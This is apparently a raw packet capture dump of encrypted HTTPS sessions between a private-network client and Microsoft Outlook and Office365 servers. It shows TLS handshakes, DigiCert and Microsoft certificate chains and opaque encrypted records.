.Q.2..<{E.0t/.f..........m..|sc\nK.....%.6........l..a.V..q.L5|..,ak=.\nBe...O.p....$.I...c.....2].8..:Mg..x...lM.p.st.|k.n.....S...C.&.......C...H.kw}.uw...n....wB.{....._E..A..(.....q.D..g..CY.U.K.......:.TDF<...S.g.......OA.A\n.Cy.Y..x....o.v.......F.~.A...B6Z......BU'..b..Wb<..\n,./..k.ON.4V^5h.RD.....}J..Q.-a......n.d)..a....{.;...]..)...,mt;A.....Y]...}.X4[...1.f.ZM.]I4.H!....Y.^.U<.].K.V...4....s......,...-...5.L.....+Y....7Ql..6..B..y......=.....2w..?...o..9.f...\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #29\n........f..jA)G..I...\n.o..Z.{..Nq..DOWNGRD. .H...k.)7.mu(w..HY^VN.L_..\\....B.0........#.........h2................M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260626071850Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260626070300Z....20260703060300Z0...*.H.............p0d.........E..xb.....S.....6\\..,x...e.kuz.Q......f.....n........W.4GH.R...e..}..*j....f.!.p0...@.v.iV...j\n-G0..p..7u.........#.b...0...}1.l/..wn-0d...^......<.....?D.p.]..]......n.....gQ.....N.hT+.e..)A.u<..q.Q...v...O..t....c......m)<z.j%.\"\".q.:.:..6...%:...i...a.....l......D..5......y^...bc.....Kil....\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #31\n..7.a.....~.[.~U..e...........q.d.......Pkd..fTU..R.^. .....B....U<..........2.{W.doj3TB...\\....L0I.....L!.{G.\n!..!>#@.;/G....T..U.....|`..\\aO.7.1..D...f.e,W.].S.)\n1.1.......*.8a...y..\\:.......m....:.A.V.....\"\"v......%'.\"\".\"\".KQ.!..g.<g.}!.....I............m.......A..M......K...|...[......d*.....z..T.5DH..6......<.$.?....\n##\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #33\n....f...ba..-h....o1V\"\".|ao..X..@D.yQ-.....*..5..5.l.)...K..,FY.-..79un....8...f.C..Of,.....k3.../..C.D\n..Do..........(.........os^o....R\"\"R.y...#.\nZ....k..6...\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #35\n........*.....$.........hIH.....+l.&..E>.t.}\\Pa...28...^..-...l..\"\"r......\n.`:...N.~..{< .pc...w.:\\....1:.HXg.Q38,,.&h...).!$. .....7D.....Ax.F8q..@.._...Cg.......D......s....m\"\"s.B....m.k.N@........N..,.W.+...-./...d....m<3.7..p].2.p-Z..3..@c....K.#......lQ..;..n..~(-.fJ..V.7...?.J...G.X_g.]>....T.....-.n'...........(..........8c.....@....].............Q5$.....@............C...P..V.%........2$.C;|...F...#H.w.o.l.B..p.%Q..4-.\n##\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #37\n....R........e4$$...T.18......d3....5Cb..R..J..........n.!M.....d..\\=IO.........e..$.P1\n##\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #39\n....m.............v/...oL._'.r..p2.........1.v......<Ed.E'lX4.3......y.D8...>...U.!.yH=.Z$....{.X.........$.#)Ad3.\n##\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #41\n....!........J.#G.v....z'52....'.OJ..W\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #43\n....!........Q.,v..s.Js............Q.r\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #45\n....S..........0B.j$|..dvR.......K.... :....Y.F..9^....l......|)..0....v./...._.S~M.)....!.V.XQ.$]S6E.._.Gm*......R].sB.rd.Jn.J.b.?{.&....GN...uO..........4...\"\"o...KV..nFGe.4<@.....%..y.......N.t.u..U9...B.V_=_...2.......vN@....9.+..R%....6b.)<O:=.t.......ULO.........c.&..K .....J....(..W...<.+...0d..-.B.,..JtB......Q[...-.m..53r.k.....................L...h.R.KZ6..E......[.n+.L*.L....!.[....D.S..(.......\\9Y.+C.t...J.B.7..\\....?%..E.9G^....:.?W.S.NP$mKN..1..;QW/?1..\n........T.s&6. ..0X..%.....0z.........N..Pcq..=..!.C...%~2.m.i.....2.k..5}%........p..6)..LH.........o..B9\n<.+.-........,n .......u.8...x..0K4[a.G.DM.G>W[Xq.K....x...#..6l@.P..SYQ....X.`_].fZc6).BQ(g..3......\"\"-...0J$.....p....L..Q9...F..{.......l.....^..3A......n...Q......%.....k.....B1...T.O..W.mA,......s...Eq0.H.F.....M.SD..,.s{.....P.R.8.8.....=$i+t.N.ef..........r....Ux..8u....................i..\\...g..!........l./1.]..E....9ZW..LJ.TD.I.....d.....1m....E....2.1. ~.4.....Eg..7*Is...........C..g....-..s...K.z.R...X...7..t.FE......F:....F..o..EK..x..A.Fl*.S.}..q...c.Y..m.vb*C+.=^......+...V....!.........o...H.#6.....-..'.n..0.g\n##\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #47\n....;...........\\.m...s.n....pY%..\nP./.}mqx5z..i.M...K....\"\"....z\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #49\n..............&...... .{1...w..T].?.....T....'SR...;........1...Pr.....Ar,..RB.......e_.Ma.J...'.5.}.,....[_.z_.q#_b...8t{..h.e..........'../>.......|TB...~p5..D$.W.9;.*iG.(@~S..~.2k.......Z......xP.e5.Kn.W.N...^...].W......1....J.g.9A._....[b...u...v.C.(d.!.m+../.#Ya.7d......2p..$1!..L.w...6y.Y'@w*.................e0A,P......_q.'h.\n.OA.......).?).C......e.......s......u....f.O....U.%.......y`U..(../.}...b..g.3......Htg...aS[....@...A...z....X.w.!k.V&.d.......t8Z5.(^.g.+z..zP..+T..ob..$<.ul.......r'.p...:.eS..e..9\"\"..Y..k$.._3C..Od.nc.C\"\"..kF.8u... ...:}..q+B..Z......s.c....F....j...qB\"\".C..PZV....F....B.&.A}W;.P!.......u...._bc.7...?..}......_.1.tW.......$.d9...F.q..P.<%..............?.^.\n..M\n##\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #51\n....i..........y{=......}...z/`.....C...B.-WS...h\ng?g..G....*.;...c....8..o..#..7'..{0<E.Y..5.U..\"\"..i.`...0..[\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #53\n....o........<.......bp..9^....$.....8P6/p../s.......V./..8...]....b..,.....X\n....g....ml,*..).........Rp...O.LL.*W*...58........Aqb.#.....X..<I.9>......Vsk+....1E.......1\\.#.....(.#.v.0.C.6W.|./b.....bP.....F..^...<.....$?.F..*.Z.f.7.4..O.).K...\n$.@i.`..Q..!>...8.z....`\"\"....IH...Y..V....'l.w.{...A(.%...p......5.....B8`-...k..|q..../...D8O....9.m.{..8.+.<...r..f.......H#.\n.5...;'xW......P.....f...<\n....1N.|..t.....$..>NF0[tqc..?ugj.s.......bPV5n.....O..m..\"\"J.P......^..[....C.b.....H.\n##\nT 40.99.204.34:443 -> 10.152.152.11:63964 [AP] #55\n.\"\".,./..Y......T..y.,.{h....;?....Oj..zz....J.LZ..\\g...D..............h]..........33....Z.........j;.:.4q..|.....a>..4..dg..R.....7x...`....\n#####\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #60\n...........jA..\"\"...[&.&....v.P..8.p~._..}....&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...v.........outlook.office365.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #62\n........b..jA)KH3O*..7T....A.wM=..yDOWNGRD. (<.......Q......Xv.g..bA&.y... ..0........#.........h2............M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #64\nz6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260624071842Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260624070300Z....20260701060300Z0...*.H.............I..$S%8..g.B.w..O...a...,d/.....uIr)..x6.2...F.F.#../.....#......QJ.W.r5.;.?..b.Y..D.q..8-.?mt.F.G.B.'....\"\"R......r..w...!..8....YV..}....@....B..`.vM..N.........\n5..G.6.?.[....pe..z......pY7.>......N..i|.M,.@:E.......C..j.P....M.............^................i...a................<..c2#...%..'.1.........D...~...-.....u.[\\<.F.k'.F.8.....X.>u...u.-.._......\"\"...@....]%.cS....dE....>`..mm_$R.[n..a`=z9....'.*...........b....c...~.9a.Y`.1.....w..8.K.. .'K$.!.~..b.H:3....\"\"...T.........=}...__?4y..s?....-...X..2(.S....!.MH..5I....Yf.....UI..r.bR..{)jRX..M.N_.|p@S.(M..@...C.!..)..c.w..>.......#.fZE.....g.L......|2H0.N.....N....\n##\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #66\n....f...ba...k.^..h...)K*Zjc.D.l.\\.<VL.Tti.....H...A'..(.j.M>9B!X$...q...............m .n.Q@...#qY.8^....:6..........(...........<........Z..ti)w.....xQ.[..k.\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #68\n........*.....$.........hIH.....+l...#.d..Q]k\nHS-..n......$.....y%.i.fi`t>F.fr....>......D8....SK\"\"..(\\......((.x..d......~D..B7.#......NTw..%c5...M...L.<...2..[..n..S.].(.sw.....70...y4..R.#...i..!..H.V....6..3.v...L(..K'.X...^.WIj..8f....2\nH.(..u.<4.n..6.8.+-.].=y.q(.r.`..F=./.........;.....X/.:.!....).............(........j.}....1...)!5l.....S.<D+..X.I......@.........j....}...u.!3..$0.H.k.Q....A.....Z.Y.wV.F...\\.....kK..s\n##\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #70\n....R..........,.1..........g.+.EuLMBxge.h.mju.z....sR.6<.G..+...z....et.w.......8'....\n##\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #72\n....!.........Iz.)X.......d.T.B.\\...j.\n##\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #74\n....o.........D\"\".{6.C...g>.!.Lpq...._.....,.!....Q...N.}.c..L..............{.{...,gg2...9...5A8-m.n.....5..L\\.-#.K-.\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #76\n....!..........2}JR.2cwG.:`.7..y..Z.@u..............A....9..od.......=...o.x..'.S.....%....f8..:........a.G.16\\h<.M..d.%>.y.........[..V~o?-.....K..(.f,.2.$.:..w..6.<wN......#\n..;.g .b..M....l>...2.'...t..t(.?\n..P.V......U0..]...\\b.w.^\nF..j....I...P(2......(J*/..N.....O.....*J..$.\"\".g.!qh.P'.J.Lr...N.j.!W8..D.s.9........ .j..}p ....4../...J..2.u.....\n.......3w......l:.../YJ.. PM..;L.&}........4....\n..t..u-...b...\"\"....)....1M...]..\"\"..Z.|.,..8....\nI...&G~].......r=...u.........9.BV.....\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #78\n.....y\\........i....h.......zH..s......7;..\\..iK.....s..N..W....y...R@....#E....W.1..$2.$?.;.._.0~...~..*-R.w{.*....-f.Fp%..p..._x.l..J.....TF.4O..!$5.+.a..._]A.m....x.X.b..4zh.....m..T.o.nC.fK......Uw...._.-.v../PG......@.-.wY.|...sS..u.3xT&\\.s..X.8.?.x........1jL.ABF.6m...B...J.,.J}.y.|....:...3G\"\"Q..................o.I....`........v.$.....|.-...r....AT%t..\n;H.Y.....%N4PT..>...v\ni,\\...X....WR.9_..k. ....\"\".o,.....6.Uszq.\"\"(.......eLs.8..H....m.mI.....pc....K..l.'%.+DmLo......H[9.....|........Q.|KP..4.......t...........!........*b.]B;.....@Dz...\"\".....xa\n##\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #80\n....;............V.CG...2.%z=........].....{.k.....C6y.M\n.....%.\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #82\n................[q._C........_.c.....+.P.\n.....g.7....B D..bW.}E,..%J. ..T.(..........)..M|.F.......Q.]....|...Wp..x.&.2xf..uH#].......R.8Q..V.\"\"..24^Y..U[............7...@.y....0.....r....n0...a....m..P..~.?........K....1}..n..k...5. 2......d.6..`L1X..8.P.r...X'.mE.X?..Z9....E.%.,...]...5Q.>.(.}...o..d.c....7....n.;xh..L...=]...nE...?.<.8..{o..]...X...2.Q.3.|8.{$/Q...D.r.0M.=\\.f..r}.T...*..f.P0......n%.C..c....y^.0.......=I..w.M-.v........{...........i.g).......{K.......0..#s..^...,..I.L..>.1n{...*..P.....(.....z.s&Q.l.......:..V{\n....1...0.`..D4..N.._.)..\\.....k....T.........3.^....{...*...g........!.W..*..e....-.[{...2i...o...tK.C.6I..(...!j..4.GQ..\n##\nT 10.152.152.11:63997 -> 52.97.183.194:443 [AP] #84\n....A........BE....A..4..De..<Sm.?).....O^)........HV.C~...........O4.\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #86\n....o........Q.H@U.lf.lS8......b.\n.pB^..Uw.D...O0..._P..l(qw1...-4....`...61....mX;h_4^[._>6R.x.f..i...-..].<.........g.||(uTJ@....V....+{S.8.$a.QQ..$..Ch.-...)....LY...3.=...z..y...d;_-.d...F..i..CtX......T....o..\\.b.DWHU..B..X......*.....$...e..;....[..s.2..'@.....D..T.N....V.\\.x:.#....>B..3........rV..........@...S>gAzh.........M'.ix..N..C..Q.....b..._.d/.Pk.._\\.....C..@...6.A,.V....=0.....8.3E...'...m...l_l[.o..A..y[w...v..........Z.X.y0.cX.S..u...-HB....RN.5...A......\nn..j.F.C..\n##\nT 52.97.183.194:443 -> 10.152.152.11:63997 [AP] #88\n.6..S..|.:.E*.\n.L...t.\"\".q4.D.%S..!'....O6[.O.i*7y+...?!...........i..~.+.R..q9....,.;.I..Q..01.......'<....!qbOD......WW.z....}.]...~7..`.x.\n#####\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #93\n...........jA........<.r=.&..{....N..23...U..&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n...............................................#.........h2.http/1.1.........\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #95\n........f..jA)O/.....Xj..R.w..A....DOWNGRD. G8...M.K3d.wu..t..Q.E..d;.&......0........#.........h2......................S0..O0..7.......C.\n..T..........\n..0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260308001703Z..270303001703Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0...*.H.............0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r..'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG...u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0...+.....7.\n..0.0\n..+.......0<..+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #97\nF.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #99\nu.e0...U.%..0\n..+.......0...*.H...............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'..i../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E.r..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0...*.H........0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20...250801200259Z..290603200259Z0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0...*.H.............0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B.......%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML.T...=M\nF.b.#\"\"Q..7L...@......S.........0..}0...U...........0...+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%..0\n..+.......0...+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...*.H.............|Hq...E.t..?I....u..P..K....._.]5.l....a`..8...5..!:..X.8|....M......{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6...CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...250521000000Z..290619235959Z0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0...*.H.............0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@...........t../.....3.W.. |!.....Nd.Z.Ku...dM.R.........?..NE9^.)...g........J..9....3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.....m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n.......8B4.i....s..C.C.X.O....=.:@8.....d..c...U.Z....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#.\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #101\n.0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0...*.H................+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B.x...e.. P...j:...H.........u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg...L...+.\"\"=}....c8,.V...R....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...A...=0..9\n.....20.....+.....0......0...0.......)3e...;.-M.Ds.....^..20260628123305Z0..0..0L0...+...........j....m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260628101308Z....20260706103308Z. 0.0...+.....7......260706103308Z0...*.H...........t?...P....s..-./..... .\"\" \"\".~zJ>..z...h\\d...S5.*]\"\"..&39?..\\...q...t.eQ..[......@u<..z0..a._......z..V.....\\d.Y\no....p...{.......+.}.S..)..s`.Ia......eT.............P..~.t\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] 